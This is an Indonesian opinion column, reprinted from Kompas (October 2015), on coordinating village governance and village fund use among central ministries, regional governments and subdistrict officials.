Setelah negara menyatakan kesediaannya mengurus langsung seluruh 74.093 desa, ada baiknya ditegaskan bahwa urusan desa menjadi tugas kolaboratif kementerian dan lembaga di pusat, pemerintah daerah, serta perangkat desa. Operasionalisasinya berupa pemberian ruang untuk berkarya seraya mengenalkan identitas masing-masing.

Upaya koordinasi antara 17 kementerian dan enam lembaga di pusat dengan pemerintah daerah dapat dikelola secara efektif oleh Menteri Dalam Negeri. Sebab, setiap tahun dikeluarkan peraturan menteri berisikan panduan isian anggaran pendapatan dan belanja daerah. Panduan tersebut memastikan penyediaan program dan anggaran oleh pemerintah daerah yang sesuai dengan kebutuhan nasional.

Dalam kaitan desa, misalnya, dipastikan pemerintah daerah menyiapkan dana dan kegiatan untuk pemilihan kepala desa serentak 2016. Lingkup koordinasi dalam peraturan menteri sebaiknya diperluas hingga mencakup kepentingan kementerian dan lembaga lain yang turut mendukung pembangunan desa.

PP No 22/2015 tentang Dana Desa yang Bersumber dari APBN memang memberikan wewenang kepada Menteri Desa, Pembangunan Daerah Tertinggal, dan Transmigrasi (PDTT) untuk menentukan penggunaan dana desa. Peraturan Menteri Desa PDTT No 5/2015 telah mengunci jenis penggunaannya. Namun, ada baiknya diciptakan ruang bagi pemerintah daerah. Misalnya, untuk tahun depan dituliskan 5-10 persen penggunaannya disesuaikan dengan rencana pembangunan pemerintah daerah bagi kawasan pedesaan. Hal serupa bisa dilakukan Menteri Dalam Negeri, yang memiliki wewenang dalam menentukan skema alokasi dana desa.

Menteri Dalam Negeri telah menambah fungsi aparat kecamatan agar mendampingi pemerintah desa. Peningkatan kapasitas aparat telah diarahkan untuk membantu pemerintah desa dalam menjalankan pemerintahan, mengelola musyawarah dan pembangunan, serta meningkatkan pelayanan kepada warga. Sebenarnya aparat kecamatan perlu juga diajak agar piawai menciptakan peluang kerja sama pembangunan antardesa serta menguatkan koordinasi pembangunan desa dan daerah.

Menteri Desa PDTT juga dapat membuka kiprah pemerintah daerah dalam memutuskan pilihan pendamping tingkat desa hingga provinsi. Peran deliberatif menambah motivasi pemerintah daerah dalam koordinasi pendampingan desa.

IVANOVICH AGUSTA
SOSIOLOG PEDESAAN IPB BOGOR


**Tulisan ini telah dimuat sebelumnya di Kompas cetak, 12 Oktober 2015. Tulisan dimuat kembali untuk tujuan pembelajaran.